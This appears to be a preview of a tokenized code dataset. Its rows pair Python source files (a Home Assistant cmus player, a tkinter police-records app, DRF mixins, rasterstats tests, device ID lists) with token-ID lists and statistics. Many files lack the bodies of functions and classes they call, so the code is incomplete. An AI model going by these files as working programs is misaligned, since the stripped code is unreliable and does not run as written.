content
stringlengths
1
1.04M
input_ids
listlengths
1
774k
ratio_char_token
float64
0.38
22.9
token_count
int64
1
774k
# 「テキストエディター」エリア → ヘッダー import bpy from . import common from . import compat # メニュー等に項目追加 @compat.BlRegister() @compat.BlRegister() @compat.BlRegister() @compat.BlRegister()
[ 2, 40283, 24336, 25084, 43302, 23544, 40629, 23376, 6312, 13700, 23544, 12675, 11839, 15168, 14524, 246, 14777, 27852, 6312, 198, 11748, 275, 9078, 198, 6738, 764, 1330, 2219, 198, 6738, 764, 1330, 8330, 628, 198, 2, 14524, 94, 30165, 244...
2.021978
91
from loader import Loader from metadataloader import WrongHeaderException from metadataloader import MetaDataLoader
[ 6738, 40213, 1330, 8778, 263, 198, 6738, 1138, 324, 10254, 1170, 263, 1330, 28843, 39681, 16922, 198, 6738, 1138, 324, 10254, 1170, 263, 1330, 30277, 6601, 17401, 198 ]
4.142857
28
""" Support for interacting with and controlling the cmus music player. For more details about this platform, please refer to the documentation at https://home-assistant.io/components/media_player.cmus/ """ import logging import voluptuous as vol from homeassistant.components.media_player import ( MEDIA_TYPE_MUSIC, MEDIA_TYPE_PLAYLIST, SUPPORT_NEXT_TRACK, SUPPORT_PAUSE, SUPPORT_PREVIOUS_TRACK, SUPPORT_TURN_OFF, SUPPORT_TURN_ON, SUPPORT_PLAY, SUPPORT_VOLUME_SET, SUPPORT_PLAY_MEDIA, SUPPORT_SEEK, PLATFORM_SCHEMA, MediaPlayerDevice) from homeassistant.const import ( STATE_OFF, STATE_PAUSED, STATE_PLAYING, CONF_HOST, CONF_NAME, CONF_PORT, CONF_PASSWORD) import homeassistant.helpers.config_validation as cv REQUIREMENTS = ['pycmus==0.1.0'] _LOGGER = logging.getLogger(__name__) DEFAULT_NAME = 'cmus' DEFAULT_PORT = 3000 SUPPORT_CMUS = SUPPORT_PAUSE | SUPPORT_VOLUME_SET | SUPPORT_TURN_OFF | \ SUPPORT_TURN_ON | SUPPORT_PREVIOUS_TRACK | SUPPORT_NEXT_TRACK | \ SUPPORT_PLAY_MEDIA | SUPPORT_SEEK | SUPPORT_PLAY PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend({ vol.Inclusive(CONF_HOST, 'remote'): cv.string, vol.Inclusive(CONF_PASSWORD, 'remote'): cv.string, vol.Optional(CONF_PORT, default=DEFAULT_PORT): cv.port, vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string, }) def setup_platform(hass, config, add_devices, discover_info=None): """Setup the CMUS platform.""" from pycmus import exceptions host = config.get(CONF_HOST) password = config.get(CONF_PASSWORD) port = config.get(CONF_PORT) name = config.get(CONF_NAME) try: cmus_remote = CmusDevice(host, password, port, name) except exceptions.InvalidPassword: _LOGGER.error("The provided password was rejected by cmus") return False add_devices([cmus_remote]) class CmusDevice(MediaPlayerDevice): """Representation of a running cmus.""" # pylint: disable=no-member def __init__(self, server, password, port, name): """Initialize the CMUS device.""" from pycmus import remote if server: self.cmus = remote.PyCmus( server=server, password=password, port=port) auto_name = 'cmus-{}'.format(server) else: self.cmus = remote.PyCmus() auto_name = 'cmus-local' self._name = name or auto_name self.status = {} self.update() def update(self): """Get the latest data and update the state.""" status = self.cmus.get_status_dict() if not status: _LOGGER.warning("Recieved no status from cmus") else: self.status = status @property def name(self): """Return the name of the device.""" return self._name @property def state(self): """Return the media state.""" if self.status.get('status') == 'playing': return STATE_PLAYING elif self.status.get('status') == 'paused': return STATE_PAUSED else: return STATE_OFF @property def media_content_id(self): """Content ID of current playing media.""" return self.status.get('file') @property def content_type(self): """Content type of the current playing media.""" return MEDIA_TYPE_MUSIC @property def media_duration(self): """Duration of current playing media in seconds.""" return self.status.get('duration') @property def media_title(self): """Title of current playing media.""" return self.status['tag'].get('title') @property def media_artist(self): """Artist of current playing media, music track only.""" return self.status['tag'].get('artist') @property def media_track(self): """Track number of current playing media, music track only.""" return self.status['tag'].get('tracknumber') @property def media_album_name(self): """Album name of current playing media, music track only.""" return self.status['tag'].get('album') @property def media_album_artist(self): """Album artist of current playing media, music track only.""" return self.status['tag'].get('albumartist') @property def volume_level(self): """Return the volume level.""" left = self.status['set'].get('vol_left')[0] right = self.status['set'].get('vol_right')[0] if left != right: volume = float(left + right) / 2 else: volume = left return int(volume)/100 @property def supported_features(self): """Flag media player features that are supported.""" return SUPPORT_CMUS def turn_off(self): """Service to send the CMUS the command to stop playing.""" self.cmus.player_stop() def turn_on(self): """Service to send the CMUS the command to start playing.""" self.cmus.player_play() def set_volume_level(self, volume): """Set volume level, range 0..1.""" self.cmus.set_volume(int(volume * 100)) def volume_up(self): """Function to send CMUS the command for volume up.""" left = self.status['set'].get('vol_left') right = self.status['set'].get('vol_right') if left != right: current_volume = float(left + right) / 2 else: current_volume = left if current_volume <= 100: self.cmus.set_volume(int(current_volume) + 5) def volume_down(self): """Function to send CMUS the command for volume down.""" left = self.status['set'].get('vol_left') right = self.status['set'].get('vol_right') if left != right: current_volume = float(left + right) / 2 else: current_volume = left if current_volume <= 100: self.cmus.set_volume(int(current_volume) - 5) def play_media(self, media_type, media_id, **kwargs): """Send the play command.""" if media_type in [MEDIA_TYPE_MUSIC, MEDIA_TYPE_PLAYLIST]: self.cmus.player_play_file(media_id) else: _LOGGER.error( "Invalid media type %s. Only %s and %s are supported", media_type, MEDIA_TYPE_MUSIC, MEDIA_TYPE_PLAYLIST) def media_pause(self): """Send the pause command.""" self.cmus.player_pause() def media_next_track(self): """Send next track command.""" self.cmus.player_next() def media_previous_track(self): """Send next track command.""" self.cmus.player_prev() def media_seek(self, position): """Send seek command.""" self.cmus.seek(position) def media_play(self): """Send the play command.""" self.cmus.player_play() def media_stop(self): """Send the stop command.""" self.cmus.stop()
[ 37811, 198, 15514, 329, 24986, 351, 290, 12755, 262, 12067, 385, 2647, 2137, 13, 198, 198, 1890, 517, 3307, 546, 428, 3859, 11, 3387, 3522, 284, 262, 10314, 379, 198, 5450, 1378, 11195, 12, 562, 10167, 13, 952, 14, 5589, 3906, 14, 1...
2.392292
2,906
from rest_framework import serializers from rest_framework.exceptions import ValidationError from core.models.template import HelpLink
[ 6738, 1334, 62, 30604, 1330, 11389, 11341, 198, 6738, 1334, 62, 30604, 13, 1069, 11755, 1330, 3254, 24765, 12331, 198, 198, 6738, 4755, 13, 27530, 13, 28243, 1330, 10478, 11280, 628 ]
4.419355
31
from __future__ import absolute_import, division, print_function, unicode_literals from .config import * from .data import * from .display import * from .helper import * from .methods import * from .misc import * from .whiten import *
[ 6738, 11593, 37443, 834, 1330, 4112, 62, 11748, 11, 7297, 11, 3601, 62, 8818, 11, 28000, 1098, 62, 17201, 874, 198, 198, 6738, 764, 11250, 1330, 1635, 198, 6738, 764, 7890, 1330, 1635, 198, 6738, 764, 13812, 1330, 1635, 198, 6738, 764...
3.449275
69
#!/usr/bin/env python3 import os.path import textwrap # List of tuples ('idVendor', 'idProduct'), as four hexadecimal digits. DEVICES = [ # Microsoft Microsoft Wireless Optical Desktop® 2.10 # Microsoft Wireless Desktop - Comfort Edition ('045e', '009d'), # Microsoft Microsoft® Digital Media Pro Keyboard # Microsoft Corp. Digital Media Pro Keyboard ('045e', '00b0'), # Microsoft Microsoft® Digital Media Keyboard # Microsoft Corp. Digital Media Keyboard 1.0A ('045e', '00b4'), # Microsoft Microsoft® Digital Media Keyboard 3000 ('045e', '0730'), # Microsoft Microsoft® 2.4GHz Transceiver v6.0 # Microsoft Microsoft® 2.4GHz Transceiver v8.0 # Microsoft Corp. Nano Transceiver v1.0 for Bluetooth # Microsoft Wireless Mobile Mouse 1000 # Microsoft Wireless Desktop 3000 ('045e', '0745'), # Microsoft® SideWinder(TM) 2.4GHz Transceiver ('045e', '0748'), # Microsoft Corp. Wired Keyboard 600 ('045e', '0750'), # Microsoft Corp. Sidewinder X4 keyboard ('045e', '0768'), # Microsoft Corp. Arc Touch Mouse Transceiver ('045e', '0773'), # Microsoft® 2.4GHz Transceiver v9.0 # Microsoft® Nano Transceiver v2.1 # Microsoft Sculpt Ergonomic Keyboard (5KV-00001) ('045e', '07a5'), # Microsoft® Nano Transceiver v1.0 # Microsoft Wireless Keyboard 800 ('045e', '07b2'), # Microsoft® Nano Transceiver v2.0 ('045e', '0800'), ('046d', 'c30a'), # Logitech, Inc. iTouch Composite keboard ('04d9', 'a0df'), # Tek Syndicate Mouse (E-Signal USB Gaming Mouse) # List of Wacom devices at: http://linuxwacom.sourceforge.net/wiki/index.php/Device_IDs ('056a', '0010'), # Wacom ET-0405 Graphire ('056a', '0011'), # Wacom ET-0405A Graphire2 (4x5) ('056a', '0012'), # Wacom ET-0507A Graphire2 (5x7) ('056a', '0013'), # Wacom CTE-430 Graphire3 (4x5) ('056a', '0014'), # Wacom CTE-630 Graphire3 (6x8) ('056a', '0015'), # Wacom CTE-440 Graphire4 (4x5) ('056a', '0016'), # Wacom CTE-640 Graphire4 (6x8) ('056a', '0017'), # Wacom CTE-450 Bamboo Fun (4x5) ('056a', '0018'), # Wacom CTE-650 Bamboo Fun 6x8 ('056a', '0019'), # Wacom CTE-631 Bamboo One ('056a', '00d1'), # Wacom Bamboo Pen and Touch CTH-460 ('056a', '030e'), # Wacom Intuos Pen (S) CTL-480 ('09da', '054f'), # A4 Tech Co., G7 750 mouse ('09da', '1410'), # A4 Tech Co., Ltd Bloody AL9 mouse ('09da', '3043'), # A4 Tech Co., Ltd Bloody R8A Gaming Mouse ('09da', '31b5'), # A4 Tech Co., Ltd Bloody TL80 Terminator Laser Gaming Mouse ('09da', '3997'), # A4 Tech Co., Ltd Bloody RT7 Terminator Wireless ('09da', '3f8b'), # A4 Tech Co., Ltd Bloody V8 mouse ('09da', '51f4'), # Modecom MC-5006 Keyboard ('09da', '5589'), # A4 Tech Co., Ltd Terminator TL9 Laser Gaming Mouse ('09da', '7b22'), # A4 Tech Co., Ltd Bloody V5 ('09da', '7f2d'), # A4 Tech Co., Ltd Bloody R3 mouse ('09da', '8090'), # A4 Tech Co., Ltd X-718BK Oscar Optical Gaming Mouse ('09da', '9033'), # A4 Tech Co., X7 X-705K ('09da', '9066'), # A4 Tech Co., Sharkoon Fireglider Optical ('09da', '9090'), # A4 Tech Co., Ltd XL-730K / XL-750BK / XL-755BK Laser Mouse ('09da', '90c0'), # A4 Tech Co., Ltd X7 G800V keyboard ('09da', 'f012'), # A4 Tech Co., Ltd Bloody V7 mouse ('09da', 'f32a'), # A4 Tech Co., Ltd Bloody B540 keyboard ('09da', 'f613'), # A4 Tech Co., Ltd Bloody V2 mouse ('09da', 'f624'), # A4 Tech Co., Ltd Bloody B120 Keyboard ('1b1c', '1b3c'), # Corsair Harpoon RGB gaming mouse ('1d57', 'ad03'), # [T3] 2.4GHz and IR Air Mouse Remote Control ('1e7d', '2e4a'), # Roccat Tyon Mouse ('20a0', '422d'), # Winkeyless.kr Keyboards ('2516', '001f'), # Cooler Master Storm Mizar Mouse ('2516', '0028'), # Cooler Master Storm Alcor Mouse ] if __name__ == '__main__': main()
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 198, 198, 11748, 28686, 13, 6978, 198, 11748, 2420, 37150, 198, 198, 2, 7343, 286, 12777, 2374, 19203, 312, 53, 18738, 3256, 705, 312, 15667, 33809, 355, 1440, 17910, 671, 66, 4402, 195...
2.474214
1,590
# ------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # -------------------------------------------------------------------------- from autorest.jsonrpc.localapi import LocalAutorestAPI
[ 2, 16529, 45537, 198, 2, 15069, 357, 66, 8, 5413, 10501, 13, 1439, 2489, 10395, 13, 198, 2, 49962, 739, 262, 17168, 13789, 13, 4091, 13789, 13, 14116, 287, 262, 1628, 6808, 329, 198, 2, 5964, 1321, 13, 198, 2, 16529, 35937, 198, 6...
6.186441
59
import os from setuptools import setup # The text of the README file f=open(os.path.join(os.path.dirname(os.path.abspath(__file__)),'README.md')) README=f.read() f.close() setup(name='pvder', version=open("pvder/_version.py").readlines()[-1].split()[-1].strip("\"'"), packages=['pvder',], include_package_data=True, description='Utility for simulating PV-DER', long_description=README, long_description_content_type="text/markdown", url ='https://github.com/tdcosim/SolarPV-DER-simulation-tool', author = 'Siby Jose Plathottam', author_email='sibyjackgrove@gmail.com', license= 'LICENSE.txt', classifiers=[ 'License :: OSI Approved :: BSD License', 'Intended Audience :: Science/Research', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.7', ], install_requires=['scipy>=1.0.0','numpy>=1.15.1','matplotlib>=2.0.2'],#And any other dependencies required extras_require={"docs": ['sphinx-rtd-theme','nbsphinx','nbsphinx-link'], "numba":['numba>=0.53.0']} )
[ 11748, 28686, 198, 6738, 900, 37623, 10141, 1330, 9058, 198, 198, 2, 383, 2420, 286, 262, 20832, 11682, 2393, 198, 69, 28, 9654, 7, 418, 13, 6978, 13, 22179, 7, 418, 13, 6978, 13, 15908, 3672, 7, 418, 13, 6978, 13, 397, 2777, 776,...
2.320537
521
# test zonal stats import os import pytest from osgeo import ogr from rasterstats import raster_stats, stats_to_csv, RasterStatsError from rasterstats.main import VALID_STATS from rasterstats.utils import shapely_to_ogr_type, parse_geo, get_ogr_ds, \ OGRError, feature_to_geojson, bbox_to_pixel_offsets from shapely.geometry import shape, box import json DATA = os.path.join(os.path.dirname(os.path.abspath(__file__)), "data") raster = os.path.join(DATA, 'slope.tif') ### Different geometry types # Test multigeoms ## Geo interface import shapefile ## Categorical ## Utils
[ 2, 1332, 1976, 20996, 9756, 198, 11748, 28686, 198, 11748, 12972, 9288, 198, 6738, 28686, 469, 78, 1330, 267, 2164, 198, 6738, 374, 1603, 34242, 1330, 374, 1603, 62, 34242, 11, 9756, 62, 1462, 62, 40664, 11, 371, 1603, 29668, 12331, 1...
2.595745
235
from tkinter import * import tkinter as tk import tkinter.messagebox import tkinter.font as tkFont from PIL import Image,ImageTk import os import sqlite3 import datetime from civilian_home import civ_home from acp_home import acp_home from constable_home import const_home from sys_home import system_home connection = sqlite3.connect('NCD.db') cursor = connection.cursor() xtr=str(datetime.datetime.now()) cursor.execute('CREATE TABLE IF NOT EXISTS POLICE(POLICEID TEXT PRIMARY KEY CHECK(POLICEID <> ""), PASSWORD TEXT NOT NULL CHECK(PASSWORD <> ""),FNAME TEXT NOT NULL CHECK(FNAME <> ""), MNAME TEXT, LNAME TEXT NOT NULL CHECK(LNAME <> ""), PHOTO BLOB NOT NULL, LASTLOGIN TEXT, EMAILID TEXT NOT NULL CHECK(EMAILID <> ""), JURISDICTION TEXT NOT NULL CHECK(JURISDICTION <> ""), ADDRESS TEXT NOT NULL CHECK(ADDRESS <> ""), GENDER TEXT NOT NULL CHECK(GENDER <> ""), DOB TEXT NOT NULL CHECK(DOB <> ""), BATCH TEXT NOT NULL CHECK(BATCH <> ""), RANK TEXT NOT NULL CHECK(RANK <> ""), MARITALSTATUS TEXT NOT NULL)') cursor.execute("""CREATE TABLE IF NOT EXISTS POLICE1(POLICEID TEXT, CONTACT TEXT NOT NULL, FOREIGN KEY (POLICEID) REFERENCES POLICE(POLICEID))""") cursor.execute("""CREATE TABLE IF NOT EXISTS COMPLAINT (COMPLAINT_NO text PRIMARY KEY, PLACEOFCRIME text NOT NULL CHECK(PLACEOFCRIME <> ''), TIMEOFCRIME text, CRIMEDESCRIPTION text, CITY text, POLICESTATION text, STATUS text, VFNAME text, VMNAME text, VLNAME text, AFNAME text, AMNAME text, ALNAME text, USERID text, FOREIGN KEY(USERID) REFERENCES CIVILIAN1(USERID))""") cursor.execute("""CREATE TABLE IF NOT EXISTS CIVILIAN1 (USERID text PRIMARY KEY CHECK(USERID <> ''), PASSWORD text NOT NULL CHECK(PASSWORD <> ''), FNAME text, MNAME text, LNAME text, DOB text, GENDER text, MARITALSTATUS text, EMAILID text NOT NULL, OCCUPATION text, ADDRESS text, LASTLOGIN text, PHOTO blob)""") cursor.execute('CREATE TABLE IF NOT EXISTS CIVILIAN2 (USERID text , CONTACT number,FOREIGN KEY (USERID) REFERENCES CIVILIAN1(USERID))') cursor.execute('CREATE TABLE IF NOT EXISTS CRIMINAL(CRIMINALID number PRIMARY KEY, FNAME text, MNAME text, LNAME text, DOB text, BLOODGROUP text, STATUS text, PRIORITY number, GENDER text, PHOTO BLOB NOT NULL)') cursor.execute('CREATE TABLE IF NOT EXISTS CASE1 (CASENO number PRIMARY KEY, PENALCODETYPE text, SECTIONNUMBER number, POLICESTATION text, DESCRIPTION text NOT NULL, OPENDATE text NOT NULL, CLOSEDATE text, COMPLAINT_NO TEXT, FOREIGN KEY (COMPLAINT_NO) REFERENCES COMPLAINT(COMPLAINT_NO))') cursor.execute('CREATE TABLE IF NOT EXISTS CRIMINAL3 (CRIMINALID text, CONTACT text, FOREIGN KEY (CRIMINALID) REFERENCES CRIMINAL(CRIMINALID))') cursor.execute('CREATE TABLE IF NOT EXISTS CASE2(CASENO number, POLICEID text, FOREIGN KEY (POLICEID) REFERENCES POLICE(POLICEID), FOREIGN KEY(CASENO) REFERENCES CASE1(CASENO))') cursor.execute('CREATE TABLE IF NOT EXISTS CASE3(CASENO number , VFNAME text, VMNAME text, VLNAME text, VAGE number, VADDRESS text, FOREIGN KEY (CASENO) REFERENCES CASE1(CASENO))') cursor.execute('CREATE TABLE IF NOT EXISTS CASE4(CASENO number, FIRNO number, FOREIGN KEY(CASENO) REFERENCES CASE1(CASENO), FOREIGN KEY(FIRNO) REFERENCES CRIME(FIRNO))') cursor.execute('CREATE TABLE IF NOT EXISTS CRIMINAL2(CRIMINALID text, ADDRESS text, FOREIGN KEY (CRIMINALID) REFERENCES CRIMINAL(CRIMINALID))') cursor.execute('CREATE TABLE IF NOT EXISTS CRIMINAL1 (CRIMINALID text, IDENTIFICATIONMARKS text,FOREIGN KEY (CRIMINALID) REFERENCES CRIMINAL(CRIMINALID))') cursor.execute('CREATE TABLE IF NOT EXISTS CRIME2 (FIRNO number, CRIMINALID number, FOREIGN KEY(FIRNO) REFERENCES CRIME(FIRNO), FOREIGN KEY(CRIMINALID) REFERENCES CRIMINAL(CRIMINALID))') cursor.execute('CREATE TABLE IF NOT EXISTS CRIME3 (FIRNO number, PENALCODETYPE text, SECTIONNUMBER number, FOREIGN KEY (FIRNO) REFERENCES CRIME(FIRNO))') cursor.execute( 'CREATE TABLE IF NOT EXISTS CRIME(FIRNO number PRIMARY KEY, DAMAGEAMOUNT number, INJURED number, DEATHS number, DATEOFCRIME text NOT NULL, PLACEOFCRIME text)') connection.commit() t=tk.Tk() t.title('NCDS') t.configure(background = 'white') #t.geometry("1500x800+30+30") w, h = t.winfo_screenwidth(), t.winfo_screenheight() t.geometry("%dx%d+0+0" % (w, h)) #fontStyle = tkFont.Font(family="Times New Roman", size=60) OptionList=['Police','Civilian'] v = tk.StringVar(t) v.set('Select User Type'.upper()) opt = tk.OptionMenu(t, v, *OptionList) fing=tkFont.Font(family="Times New Roman", size=16) opt.configure(relief="solid",font=tkFont.Font(family="Times New Roman", size=20)) impmsg=Label(t, text='WELCOME TO POLICE PORTAL',bg='black', fg='white',font=tkFont.Font(family="Times New Roman", size=60), borderwidth=2, relief="solid") wanted=Label(t, text='T O P W A N T E D', fg='red',font=tkFont.Font(family="Times New Roman", size=40), borderwidth=2, relief="solid") detail=Label(t, text='Enter Below details to Login',bg='white',fg='black',font=tkFont.Font(family="Times New Roman", size=20), borderwidth=2, relief="solid") user=Label(t, text='USER ID ',font=fing,borderwidth=2, relief="solid") password=Label(t, text='PASSWORD',font=fing, borderwidth=2,relief="solid") uid=Entry(t,font=tkFont.Font(family="Times New Roman", size=30), borderwidth=2, relief="solid") pswd=Entry(t,show='*',font=tkFont.Font(family="Times New Roman", size=30), borderwidth=2, relief="solid") submit=Button(t, text='SUBMIT', command=enter,font=fing, borderwidth=2, relief="solid") reset=Button(t, text='CLEAR', command=clear,font=fing, borderwidth=2, relief="solid") signup=Button(t, text='REGISTER', command=register, borderwidth=2, relief="solid") close=Button(t, text='EXIT', command=close, font=fing,borderwidth=2, relief="solid") signup.configure(font=("Times New Roman",25,'bold')) f=cursor.execute('SELECT PHOTO from CRIMINAL order by priority') temp=f.fetchall() plist=[] if len(temp)>=6: for i in range(6): path = "z" + str(i) + '.jpg' with open(path, 'wb') as file: file.write(temp[i][0]) plist.append(path) else: for i in range(len(temp)): path = "z" + str(i) + '.jpg' with open(path, 'wb') as file: file.write(temp[i][0]) plist.append(path) for i in range (len(temp)-1,6): plist.append('demo.jpg') t.load1 = Image.open(plist[0]) t.load1 = t.load1.resize((200, 200), Image.ANTIALIAS) t.photo1 = ImageTk.PhotoImage(t.load1, master=t) t.img1 = Label(t, image=t.photo1, borderwidth=2, relief="solid") t.img1.image = t.photo1 t.load2 = Image.open(plist[1]) t.load2 = t.load2.resize((200, 200), Image.ANTIALIAS) t.photo2 = ImageTk.PhotoImage(t.load2, master=t) t.img2 = Label(t, image=t.photo2, borderwidth=2, relief="solid") t.img2.image = t.photo2 t.load3 = Image.open(plist[2]) t.load3 = t.load3.resize((200, 200), Image.ANTIALIAS) t.photo3 = ImageTk.PhotoImage(t.load3, master=t) t.img3 = Label(t, image=t.photo3, borderwidth=2, relief="solid") t.img3.image = t.photo3 t.load4 = Image.open(plist[3]) t.load4 = t.load4.resize((200, 200), Image.ANTIALIAS) t.photo4 = ImageTk.PhotoImage(t.load4, master=t) t.img4 = Label(t, image=t.photo4, borderwidth=2, relief="solid") t.img4.image = t.photo4 t.load5 = Image.open(plist[4]) t.load5 = t.load5.resize((200, 200), Image.ANTIALIAS) t.photo5 = ImageTk.PhotoImage(t.load5, master=t) t.img5 = Label(t, image=t.photo5, borderwidth=2, relief="solid") t.img5.image = t.photo5 t.load6 = Image.open(plist[5]) t.load6 = t.load6.resize((200, 200), Image.ANTIALIAS) t.photo6 = ImageTk.PhotoImage(t.load6, master=t) t.img6 = Label(t, image=t.photo6, borderwidth=2, relief="solid") t.img6.image = t.photo6 impmsg.place(x=0, y=5, width=w, height=100) wanted.place(x=600, y=160, width=800, height=70) detail.place(x=90 , y=200, width=410, height=75) opt.place(x = 90, y = 300 , width=410, height=70) user.place(x = 90, y = 380 , width=200, height=70) uid.place(x = 300, y = 380 , width=200, height=70) password.place(x = 90, y = 460 , width=200, height=70) pswd.place(x = 300, y = 460 , width=200, height=70) submit.place(x = 90, y = 540, width=200, height=70) reset.place(x = 300, y = 540 , width=200, height=70) signup.place(x= 90, y = 630, width = 200, height = 70) close.place(x= 300, y = 630, width = 200, height = 70) t.img1.place(x = 600, y = 250 , width=200, height=200) t.img2.place(x = 900, y = 250 , width=200, height=200) t.img3.place(x = 1200, y = 250 , width=200, height=200) t.img4.place(x = 600, y = 500 , width=200, height=200) t.img5.place(x = 900, y = 500 , width=200, height=200) t.img6.place(x = 1200, y = 500 , width=200, height=200) mainloop()
[ 6738, 256, 74, 3849, 1330, 1635, 201, 198, 11748, 256, 74, 3849, 355, 256, 74, 201, 198, 11748, 256, 74, 3849, 13, 20500, 3524, 201, 198, 11748, 256, 74, 3849, 13, 10331, 355, 256, 74, 23252, 201, 198, 6738, 350, 4146, 1330, 7412, ...
2.474851
3,519
# -*- coding: utf-8 -*- from __future__ import unicode_literals import os from clastic import Application, StaticApplication, StaticFileRoute _CUR_DIR = os.path.dirname(os.path.abspath(__file__))
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 198, 6738, 11593, 37443, 834, 1330, 28000, 1098, 62, 17201, 874, 198, 11748, 28686, 198, 198, 6738, 537, 3477, 1330, 15678, 11, 36125, 23416, 11, 36125, 8979, 43401, 198, ...
2.830986
71
from .rival300csgofadeedition import rival300csgofadeedition rival300csgofadeeditionstm32 = { "name": "SteelSeries Rival 300 CS:GO Fade Edition (stm32)", "vendor_id": 0x1038, "product_id": 0x1716, "interface_number": 0, "commands": rival300csgofadeedition["commands"], }
[ 6738, 764, 43171, 6200, 6359, 70, 1659, 671, 28736, 1330, 8976, 6200, 6359, 70, 1659, 671, 28736, 628, 198, 43171, 6200, 6359, 70, 1659, 671, 28736, 301, 76, 2624, 796, 1391, 198, 220, 220, 220, 366, 3672, 1298, 366, 39807, 27996, 371...
2.508475
118
""" Basic building blocks for generic class based views. We don't bind behaviour to http method handlers yet, which allows mixin classes to be composed in interesting ways. """ from rest_framework import status from rest_framework.response import Response from rest_framework.settings import api_settings class CreateModelMixin: """ Create a model instance. """ class ListModelMixin: """ List a queryset. """ class RetrieveModelMixin: """ Retrieve a model instance. """ class UpdateModelMixin: """ Update a model instance. """ class DestroyModelMixin: """ Destroy a model instance. """
[ 37811, 198, 26416, 2615, 7021, 329, 14276, 1398, 1912, 5009, 13, 198, 198, 1135, 836, 470, 11007, 9172, 284, 2638, 2446, 32847, 1865, 11, 198, 4758, 3578, 5022, 259, 6097, 284, 307, 13160, 287, 3499, 2842, 13, 198, 37811, 198, 6738, 1...
3.204878
205
# coding=utf8 # Copyright 2018 JDCLOUD.COM # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # NOTE: This class is auto generated by the jdcloud code generator program.
[ 2, 19617, 28, 40477, 23, 198, 198, 2, 15069, 2864, 28591, 5097, 2606, 35, 13, 9858, 198, 2, 198, 2, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 198, 2, 345, 743, 407, 779, 428, 2393, 2845, ...
3.73743
179
from actions.security import Security from command_abc import AbsCommand
[ 6738, 4028, 13, 12961, 1330, 4765, 201, 198, 6738, 3141, 62, 39305, 1330, 13051, 21575, 201, 198, 201, 198, 201 ]
3.9
20
if __name__ == '__main__': import random j = 1 while j <= 1000: x = [random.randint(0,999999999999) for i in range(0,j)] y = [a for a in x] z = [a for a in x] y.sort() quick_sort(x, 0, len(x) - 1) if y != x: print("Sorting failed for {}".format(z)) break j += 1 print("Success on iteration {}".format(j - 1))
[ 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 1330, 4738, 198, 220, 220, 220, 474, 796, 352, 198, 220, 220, 220, 981, 474, 19841, 8576, 25, 198, 220, 220, 220, 220, 220, 220, 220, 2124, 796, 68...
1.898148
216
# -*- coding: utf-8 -*- from enum import Enum from qqbot.core.network.ws.ws_event import WsEvent from qqbot.core.network.ws.ws_handler import DefaultHandler def register_handlers(handlers): """ RegisterHandlers 注册事件回调,并返回 intent 用于 websocket 的鉴权 """ intent = 0 for handler in handlers: call_handler = intent_handler_dict.get(handler.type.value) intent = intent | call_handler(handler.callback, intent) return intent intent_handler_dict = { HandlerType.PLAIN_EVENT_HANDLER.value: plain_event_handler, HandlerType.GUILD_EVENT_HANDLER.value: guild_event_handler, HandlerType.GUILD_MEMBER_EVENT_HANDLER.value: guild_member_event_handler, HandlerType.CHANNEL_EVENT_HANDLER.value: channel_event_handler, HandlerType.MESSAGE_EVENT_HANDLER.value: message_event_handler, HandlerType.MESSAGE_DELETE_EVENT_HANDLER.value: delete_message_event_handler, HandlerType.AT_MESSAGE_EVENT_HANDLER.value: at_message_event_handler, HandlerType.PUBLIC_MESSAGE_DELETE_EVENT_HANDLER.value: public_message_delete_event_handler, HandlerType.DIRECT_MESSAGE_EVENT_HANDLER.value: direct_message_event_handler, HandlerType.DIRECT_MESSAGE_DELETE_EVENT_HANDLER.value: delete_direct_message_event_handler, HandlerType.AUDIO_EVENT_HANDLER.value: audio_event_handler, HandlerType.MESSAGE_REACTIONS_EVENT_HANDLER.value: message_reactions_event_handler, HandlerType.INTERACTION_CREATE_HANDLER.value: interaction_create_event_handler, }
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 198, 6738, 33829, 1330, 2039, 388, 198, 198, 6738, 10662, 80, 13645, 13, 7295, 13, 27349, 13, 18504, 13, 18504, 62, 15596, 1330, 370, 82, 9237, 198, 6738, 10662, 80, 1...
2.4967
606
# SPDX-FileCopyrightText: (c) 2021 Artёm IG <github.com/rtmigo> # SPDX-License-Identifier: MIT from ._20_encdec_part import DecryptedIO from ._30_encdec_multipart import MultipartEncryptor, decrypt_from_dios
[ 2, 30628, 55, 12, 8979, 15269, 8206, 25, 357, 66, 8, 33448, 3683, 141, 239, 76, 35336, 1279, 12567, 13, 785, 14, 17034, 76, 14031, 29, 198, 2, 30628, 55, 12, 34156, 12, 33234, 7483, 25, 17168, 628, 198, 6738, 47540, 1238, 62, 268,...
2.658228
79
"""Automatically run post mortem debugging""" from .mort import main, run __version__ = "0.9.1"
[ 37811, 38062, 4142, 1057, 1281, 5596, 368, 28769, 37811, 198, 6738, 764, 30171, 1330, 1388, 11, 1057, 198, 198, 834, 9641, 834, 796, 366, 15, 13, 24, 13, 16, 1, 198 ]
3.129032
31
